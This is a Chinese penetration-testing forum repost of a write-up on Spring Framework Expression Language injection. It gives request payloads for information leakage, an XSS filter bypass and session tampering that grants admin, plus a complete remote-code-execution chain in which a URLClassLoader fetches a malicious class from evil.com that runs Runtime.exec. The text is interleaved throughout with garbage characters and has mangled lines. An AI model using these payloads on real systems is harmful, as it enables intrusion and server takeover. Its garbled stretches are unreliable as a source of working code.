中国网络渗透测试联盟

标题: spring-远程代码注入 [打印本页]

作者: admin    时间: 2013-2-16 21:47
标题: spring-远程代码注入
Remote Code with
0 Q3 ^% U: N. s) k! TExpression Language Injection
6 n' w: T$ Y, e9 cSpring Framework脆弱性—DanAmodio
7 j& ?- S) @) j; p全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中2 t9 O: y8 I3 n2 N
可能会存在风险。2 Z+ O; w" [  u+ U3 t  Y
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的* j; P& h# b/ G9 r! C
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可6 _9 R: Z! v8 n1 d: D/ [* d6 v2 r
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
/ ]  L; O4 C: x) J- L; J. `* S以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前% A9 S9 b% @, j, g* S1 l
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
7 _) y/ X1 T  a由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
) V0 G. b& o/ n: z- w我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版: G0 ^0 ?  t. [
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
+ r8 o5 R% ]* }: D9 |. u这些版本不支持禁用double EL resolution.
; B% t/ x6 L9 M8 R  [4 K7 F9 c这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含, r" a$ b4 y( U7 ~' j: g
EL2.2容器上可能进行远程代码执行。
  `3 ]5 |' _, _+ @( ]7 }! z这是一个原始信息泄露的攻击例子:
( F0 c' Q% q% R4 A  q, l' F请求:
  a0 y6 G2 z) m& Z+ ?2 e( M( Cttp://vulnerable.com/foo?message=${applicationScope}! d, U4 |9 O0 o) }8 h/ f
到达以下内容页面:6 M9 y3 f) Q$ G% r, z
结果将输出一些包含内部服务器信息calsspath 和本地工作目录. k6 b9 q/ |2 a3 T$ b% m/ l
你也可以做一些其他事情,如这样:$ S/ x  G( P1 `* f
${9999+1}
! i$ _; H: e% J* x% _( S还可以访问session 对象和beans
# K6 w' }  [! _3 R: I: t${employee.lastName}
% }5 q) a+ R- i在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
+ Y5 g& A# ~1 G5 ^" o' I" }1 J/ _EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东) s( \: f* h, F% V
西,比如XSS.% P0 q- h8 T2 X7 @8 @2 D9 G
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签( T1 C5 t0 u! ?1 e2 q. N$ ]' C
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
* [, ^3 x& b0 O: g7 @2 ?呢?”
/ ^" |! N2 R8 l; A因此,我尝试巳缦拢�
- |+ Q: U, ]  Z; F- p( M0 }, n5 @http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP& k/ i, }& V0 K9 K+ C5 H" i- K
P5 }! `* f4 S' }$ c5 z4 J/ E
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
8 E" u+ z: j9 n, G0 A0 ~回的文本被插入进了spring:message 标签。
8 b* r+ X5 F% [( d4 q& a这里是一个最终绕过过滤的实例:5 c+ j! S$ o' @8 f% P* j
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ% O9 K* v$ D1 \7 ]- M2 e5 V* C
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
' n! T) m# U. f% [3 J, Q什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
0 z1 f; S9 k% X' f  p, c经过一番研究,我学习到EL2.2 增加了方法调用。" R4 L# ~1 S6 f  w
我写了一个快速测试应用程序代码并且检测一些功能8 U. ]' C* X! E& E
${pageContext.request.getSession().setAttribute(“account”,”123456″)}
7 N5 K$ R: o+ {  z5 z+ Z: B  p8 j${pageContext.request.getSession().setAttribute(“admin”,true)}
' f& o* Z$ _  @5 T% K' G好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的9 G$ }4 k8 X4 D. X% Y
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
/ U8 f" z# J2 p${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
1 _- d# K4 a2 Q/ b1 z6 K; j“, 1234)}
6 c& X9 d6 d$ P0 l9 P+ `${“”.getClass().forName(“java.lang.Runtime”)}. d. U5 V7 n, |) O# C
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不3 i. n2 j( O4 H/ }) z7 d
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函" {: |* _7 x$ B
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
) M, T" d& ^6 b2 K# {一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
4 g; x9 z- \0 n方法签名invoke(Object obj, Object„ args): n7 p1 ~% h) y, ^. R: z2 v" I
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问9 p1 }" Y3 x( E  S4 g
题,以让它可以工作起来。
- U$ S# y. d0 J3 m0 S漏洞利用:( h; }# U8 |1 i3 u/ W
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我+ y$ K) i" a& c
希望你们中的一些JAVA奇才告诉我我是如此的可笑。* s. P# B) a' A7 n2 ~
这里有一些我试过的失败的用例,为了试图让它工作的用例:2 ?7 [( G5 V: `7 }; ?( i# i) U9 {
 写文件到文件系统
- y* b3 T1 r9 ^/ U8 u# R- h7 Z2 w 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
+ M7 g, g: I% G6 \8 Q1 h) o# v我认为这些可以很好的工作,但是我不能找到合适的类来载入。# i7 _- t0 L6 g
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
" J* H8 c) T6 S" Y6 ?8 a* ajavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
8 i  d" n% b/ x; f& o" i. L" ~% Porg.springframework.expression.spel.standard.SpelExpressionParser not found4 x. }" n" ]1 r
by
% J. z- B% c* _& c  f7 Xorg.glassfish.web.javax.servlet.jsp [194].
; v$ B: f0 v9 s% r  m) D8 k+ B 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public2 X0 _" H# w' P: L+ [
 利用反射来创建一个新的Runtime(and watch the world burn)8 Y* L( {( u( a9 ~3 x1 C, V
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName9 w. h9 M, G7 G8 v
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
+ P% x1 o7 W& O! L/ f4 L( d4 t${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}& s# U: U4 u! x& I; e. R- V  p
 使用java.lang.ProcessBuilder
! l* u* }9 P( X. t3 C' I- E 用表达式语言来评估表达式语言6 U, F% G. {: ~2 S+ e
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
/ l' {2 F  W- ?* m( ]' Z6 P  E${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request; ?8 |3 p8 y5 `/ D
“,”".getClass(),null)}% c9 Y6 E; D& i' l* i- z/ n
 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)1 @. i3 \' h. ]- C
我在使用一个空数组通过Method.invoke()时失败了很多次/ q1 O0 d- L& L8 i, {4 I0 c
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
% L  X, H. U+ N! C" L.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A& f8 y5 m% r9 Q* s7 l. @' F, ~1 x
rrayList”).newInstance().toArray())" Z/ [- `5 X9 Z1 F; J5 N
java.lang.IllegalArgumentException: wrong number of arguments
# Y2 q4 u- e6 @  n最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
+ E! o4 T- P) G% P以创建一个恶意class文件并且指向类装载器.9 q- f# P: g- Y2 [
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
0 K9 i  m6 Q2 W9 a) Q- Dpublic class Malicious {8 m5 \5 Y% d* p
public Malicious() {
3 E$ Z, u; C' a7 I6 e; r  ktry {8 \/ ]# T1 q  {. A
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac& ?1 Z) H& ?0 L
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
3 y( a2 \$ x+ h5 t} catch (Exception e) {
: X. A; V9 D% w5 v) f& {}
7 L  T) Q9 S7 g: X9 ~9 S- d% V: l}
: D" p' U+ {+ A7 u我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回$ F/ K, @% t) h$ j. @
话中,因此它可以被使用.
% m' E$ f, @1 b$ G& f9 v) E1 m+ |${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName: `/ Q2 Q# K9 W
(“java.util.ArrayList”).newInstance())}% B. H/ k0 C% g* R7 L
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建* S2 ]. q, X5 j% d
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
7 h2 C  z  T# y+ f7 PgetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
, |- O* S8 X; Z3 v* q. `我们可以调用的create(string)方法,然后转换对一个URL对象。
- Y! U  F  D2 v* k${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh- G; k( F2 e+ P0 V6 F% h2 R0 U6 ?
ere/malicious/classfile/is/located/”).toURL())}
$ S. w. D' Y6 w% P) n) ~# a1 q3 z然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,, {0 E' N/ ~& {4 h1 n% V
恶意类文件被装载并创建,触发远程代码.
7 M! ^+ }& [0 d& _* F% ^1 h6 B% H${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte' q4 w/ a3 r' j. [
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().  x$ Q$ F8 S2 q/ p# a4 X% z5 t0 z
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
" P$ t8 \" s* P()}




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2